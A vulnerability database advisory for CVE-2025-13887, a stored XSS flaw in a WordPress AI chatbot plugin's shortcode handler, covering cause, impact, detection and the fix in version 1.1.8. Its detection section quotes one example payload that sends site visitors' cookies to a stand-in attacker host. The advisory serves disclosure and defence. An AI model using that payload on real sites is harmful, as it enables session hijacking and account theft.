
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-13887 is a Stored Cross-Site Scripting (XSS) vulnerability in the AI BotKit – AI Chatbot & Live Support for WordPress plugin developed by WisdmLabs. It affects all versions up to and including 1.1.7, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the unsanitized id parameter in the ai_botkit_widget shortcode. The vulnerability was disclosed on January 7, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting), stemming from insufficient input sanitization and output escaping in the plugin's shortcode handler. Specifically, the vulnerable code resides in includes/public/class-shortcode-handler.php at line 42, where the id parameter passed to the ai_botkit_widget shortcode is rendered without proper sanitization (WordPress Trac). An authenticated attacker with at minimum Contributor-level access can embed a malicious shortcode containing a crafted id value into a post or page; the injected script then executes in the browser of any user who visits that page. The attack vector is network-based, requires low privileges, and no user interaction beyond page visitation is needed for the payload to trigger (Wordfence).
Successful exploitation allows persistent malicious JavaScript to execute in the context of any site visitor's browser session, impacting confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, phishing redirects). Because the injected script persists on the page and executes for all visitors, the blast radius extends beyond the attacker's own session to all users of the affected WordPress site. Availability is not directly impacted, but the attack can be leveraged to degrade user trust or facilitate further compromise such as account takeover (Wordfence).
No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-13887. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat on sites with open contributor registration (Wordfence).
id parameter, e.g., [ai_botkit_widget id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].ai_botkit_widget shortcodes with unusual or encoded id parameter values.wp_posts table) containing <script> tags or encoded JavaScript within ai_botkit_widget shortcode attributes.ai_botkit_widget shortcode, potentially indicating cookie exfiltration or redirect activity.[ai_botkit_widget id="..."] shortcodes in published content where the id value contains HTML tags, JavaScript, or URL-encoded equivalents rather than a legitimate bot identifier.Site administrators should update the AI BotKit – AI Chatbot & Live Support for WordPress plugin to version 1.1.8 or later, which addresses the insufficient sanitization and output escaping in the shortcode handler (WordPress Trac Changeset). As an interim workaround, restrict Contributor-level user registration or disable the ability for Contributors to publish content without editorial review. Additionally, consider using a Web Application Firewall (WAF) with XSS filtering rules to detect and block malicious shortcode injection attempts (Wordfence).
Wordfence, the CNA that assigned and disclosed this CVE, included it in their weekly WordPress vulnerability report for January 5–11, 2026, as part of routine plugin security monitoring (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this vulnerability, consistent with its medium severity and limited exploitation prerequisites.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."